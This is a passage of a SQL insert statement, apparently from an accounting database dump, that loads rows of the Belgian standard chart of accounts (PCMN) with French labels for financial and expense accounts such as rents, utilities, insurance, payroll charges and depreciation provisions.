17:28:16','PCMN-BASE','FINAN','56',1355,'Office des chèques postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1058,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','560',1057,'Compte courant',NULL,0,NULL,NULL,1,0,NULL,NULL),(1059,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','561',1057,'Chèques émis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1060,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','57',1355,'Caisses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1061,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','570',1060,'à 577 Caisses - espèces ( 0 - centrale ; 7 - succursales et agences)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1062,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','578',1060,'Caisses - timbres ( 0 - fiscaux ; 1 - postaux)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1063,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','58',1355,'Virements internes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1064,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','60',1356,'Approvisionnements et marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1065,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','600',1064,'Achats de matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1066,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','601',1064,'Achats de fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(1067,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','602',1064,'Achats de services, travaux et études',NULL,0,NULL,NULL,1,0,NULL,NULL),(1068,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','603',1064,'Sous-traitances générales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1069,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','604',1064,'Achats de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1070,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','605',1064,'Achats d\'immeubles destinés à la revente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1071,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','608',1064,'Remises , ristournes et rabais obtenus sur achats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1072,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','609',1064,'Variations de stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(1073,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6090',1072,'De matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1074,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6091',1072,'De fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(1075,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6094',1072,'De marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1076,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6095',1072,'d\'immeubles destinés à la vente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1077,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61',1356,'Services et biens divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1078,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','610',1077,'Loyers et charges locatives',NULL,0,NULL,NULL,1,0,NULL,NULL),(1079,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6100',1078,'Loyers divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1080,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6101',1078,'Charges locatives (assurances, frais de confort,etc)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1081,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','611',1077,'Entretien et réparation (fournitures et prestations)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1082,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','612',1077,'Fournitures faites à l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(1083,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6120',1082,'Eau, gaz, électricité, vapeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(1084,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61200',1083,'Eau',NULL,0,NULL,NULL,1,0,NULL,NULL),(1085,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61201',1083,'Gaz',NULL,0,NULL,NULL,1,0,NULL,NULL),(1086,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61202',1083,'Electricité',NULL,0,NULL,NULL,1,0,NULL,NULL),(1087,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61203',1083,'Vapeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(1088,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6121',1082,'Téléphone, télégrammes, télex, téléfax, frais postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1089,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61210',1088,'Téléphone',NULL,0,NULL,NULL,1,0,NULL,NULL),(1090,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61211',1088,'Télégrammes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1091,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61212',1088,'Télex et téléfax',NULL,0,NULL,NULL,1,0,NULL,NULL),(1092,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61213',1088,'Frais postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1093,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6122',1082,'Livres, bibliothèque',NULL,0,NULL,NULL,1,0,NULL,NULL),(1094,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6123',1082,'Imprimés et fournitures de bureau (si non comptabilisé au 601)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1095,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','613',1077,'Rétributions de tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1096,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6130',1095,'Redevances et royalties',NULL,0,NULL,NULL,1,0,NULL,NULL),(1097,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61300',1096,'Redevances pour brevets, licences, marques et accessoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1098,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61301',1096,'Autres redevances (procédés de fabrication)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1099,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6131',1095,'Assurances non relatives au personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1100,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61310',1099,'Assurance incendie',NULL,0,NULL,NULL,1,0,NULL,NULL),(1101,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61311',1099,'Assurance vol',NULL,0,NULL,NULL,1,0,NULL,NULL),(1102,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61312',1099,'Assurance autos',NULL,0,NULL,NULL,1,0,NULL,NULL),(1103,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61313',1099,'Assurance crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(1104,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61314',1099,'Assurances frais généraux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1105,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6132',1095,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1106,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61320',1105,'Commissions aux tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1107,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61321',1105,'Honoraires d\'avocats, d\'experts, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(1108,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61322',1105,'Cotisations aux groupements professionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1109,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61323',1105,'Dons, libéralités, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(1110,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61324',1105,'Frais de contentieux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1111,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61325',1105,'Publications légales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1112,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6133',1095,'Transports et déplacements',NULL,0,NULL,NULL,1,0,NULL,NULL),(1113,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61330',1112,'Transports de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1114,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61331',1112,'Voyages, déplacements et représentations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1115,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6134',1095,'Personnel intérimaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(1116,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','614',1077,'Annonces, publicité, propagande et documentation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1117,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6140',1116,'Annonces et insertions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1118,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6141',1116,'Catalogues et imprimés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1119,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6142',1116,'Echantillons',NULL,0,NULL,NULL,1,0,NULL,NULL),(1120,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6143',1116,'Foires et expositions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1121,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6144',1116,'Primes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1122,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6145',1116,'Cadeaux à la clientèle',NULL,0,NULL,NULL,1,0,NULL,NULL),(1123,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6146',1116,'Missions et réceptions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1124,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6147',1116,'Documentation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1125,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','615',1077,'Sous-traitants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1126,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6150',1125,'Sous-traitants pour activités propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(1127,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6151',1125,'Sous-traitants d\'associations momentanées (coparticipants)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1128,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6152',1125,'Quote-part bénéficiaire des coparticipants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1129,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','617',1077,'Personnel intérimaire et personnes mises à la disposition de l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(1130,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','618',1077,'Rémunérations, primes pour assurances extralégales, pensions de retraite et de survie des administrateurs, gérants et associés actifs qui ne sont pas attribuées en vertu d\'un contrat de travail',NULL,0,NULL,NULL,1,0,NULL,NULL),(1131,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62',1356,'Rémunérations, charges sociales et pensions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1132,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','620',1131,'Rémunérations et avantages sociaux directs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1133,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6200',1132,'Administrateurs ou gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1134,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6201',1132,'Personnel de direction',NULL,0,NULL,NULL,1,0,NULL,NULL),(1135,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6202',1132,'Employés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1136,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6203',1132,'Ouvriers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1137,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6204',1132,'Autres membres du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1138,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','621',1131,'Cotisations patronales d\'assurances sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1139,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6210',1138,'Sur salaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1140,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6211',1138,'Sur appointements et commissions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1141,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','622',1131,'Primes patronales pour assurances extralégales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1142,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','623',1131,'Autres frais de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1143,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6230',1142,'Assurances du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1144,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62300',1143,'Assurances loi, responsabilité civile, chemin du travail',NULL,0,NULL,NULL,1,0,NULL,NULL),(1145,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62301',1143,'Assurance salaire garanti',NULL,0,NULL,NULL,1,0,NULL,NULL),(1146,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62302',1143,'Assurances individuelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1147,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6231',1142,'Charges sociales diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1148,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62310',1147,'Jours fériés payés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1149,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62311',1147,'Salaire hebdomadaire garanti',NULL,0,NULL,NULL,1,0,NULL,NULL),(1150,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62312',1147,'Allocations familiales complémentaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1151,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6232',1142,'Charges sociales des administrateurs, gérants et commissaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1152,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62320',1151,'Allocations familiales complémentaires pour non salariés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1153,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62321',1151,'Lois sociales pour indépendants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1154,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62322',1151,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1155,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','624',1131,'Pensions de retraite et de survie',NULL,0,NULL,NULL,1,0,NULL,NULL),(1156,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6240',1155,'Administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1157,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6241',1155,'Personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1158,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','625',1131,'Provision pour pécule de vacances',NULL,0,NULL,NULL,1,0,NULL,NULL),(1159,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6250',1158,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1160,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6251',1158,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1161,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','63',1356,'Amortissements, réductions de valeur et provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1162,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','630',1161,'Dotations aux amortissements et aux réductions de valeur sur immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1163,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6300',1162,'Dotations aux amortissements sur frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1164,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6301',1162,'Dotations aux amortissements sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1165,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6302',1162,'Dotations aux amortissements sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1166,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6308',1162,'Dotations aux réductions de valeur sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1167,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6309',1162,'Dotations aux réductions de valeur sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1168,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','631',1161,'Réductions de valeur sur stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(1169,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6310',1168,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1170,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6311',1168,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1171,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','632',1161,'Réductions de valeur sur commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1172,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6320',1171,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1173,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6321',1171,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1174,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','633',1161,'Réductions de valeur sur créances commerciales à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1175,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6330',1174,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1176,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6331',1174,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1177,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','634',1161,'Réductions de valeur sur créances commerciales à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1178,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6340',1177,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1179,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6341',1177,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1180,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','635',1161,'Provisions pour pensions et obligations similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1181,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6350',1180,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1182,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6351',1180,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1183,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','636',11613,'Provisions pour grosses réparations et gros entretiens',NULL,0,NULL,NULL,1,0,NULL,NULL),(1184,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6360',1183,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1185,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6361',1183,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1186,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','637',1161,'Provisions pour autres risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1187,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6370',1186,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1188,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6371',1186,'Utilisations et reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1189,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64',1356,'Autres charges d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1190,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','640',1189,'Charges fiscales d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1191,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6400',1190,'Taxes et impôts directs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1192,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64000',1191,'Taxes sur autos et camions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1193,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6401',1190,'Taxes et impôts indirects',NULL,0,NULL,NULL,1,0,NULL,NULL),(1194,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64010',1193,'Timbres fiscaux pris en charge par la firme',NULL,0,NULL,NULL,1,0,NULL,NULL),(1195,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64011',1193,'Droits d\'enregistrement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1196,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64012',1193,'T.V.A. non déductible',NULL,0,NULL,NULL,1,0,NULL,NULL),(1197,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6402',1190,'Impôts provinciaux et communaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1198,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64020',1197,'Taxe sur la force motrice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1199,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','64021',1197,'Taxe sur le personnel occupé',NULL,0,NULL,NULL,1,0,NULL,NULL),(1200,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6403',1190,'Taxes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1201,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','641',1189,'Moins-values sur réalisations courantes d\'immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1202,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','642',1189,'Moins-values sur réalisations de créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1203,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','643',1189,'à 648 Charges d\'exploitations diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1204,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','649',1189,'Charges d\'exploitation portées à l\'actif au titre de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(1205,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','65',1356,'Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1206,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','650',1205,'Charges des dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1207,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6500',1206,'Intérêts, commissions et frais afférents aux dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1208,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6501',1206,'Amortissements des agios et frais d\'émission d\'emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1209,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6502',1206,'Autres charges de dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1210,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6503',1206,'Intérêts intercalaires portés à l\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(1211,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','651',1205,'Réductions de valeur sur actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1212,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6510',1211,'Dotations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1213,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6511',1211,'Reprises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1214,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','652',1205,'Moins-values sur réalisation d\'actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1215,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','653',1205,'Charges d\'escompte de créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(1216,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','654',1205,'Différences de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(1217,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','655',1205,'Ecarts de conversion des devises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1218,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','656',1205,'Frais de banques, de chèques postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1219,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','657',1205,'Commissions sur ouvertures de crédit, cautions et avals',NULL,0,NULL,NULL,1,0,NULL,NULL),(1220,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','658',1205,'Frais de vente des titres',NULL,0,NULL,NULL,1,0,NULL,NULL),(1221,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','66',1356,'Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1222,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','660',1221,'Amortissements et réductions de valeur exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1223,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6600',1222,'Sur frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1224,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6601',1222,'Sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1225,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6602',1222,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1226,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','661',1221,'Réductions de valeur sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1227,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','662',1221,'Provisions pour risques et charges exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1228,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','663',1221,'Moins-values sur réalisation d\'actifs immobilisés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1229,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6630',1228,'Sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1230,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6631',1228,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1231,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6632',1228,'Sur immobilisations détenues en location-financement et droits 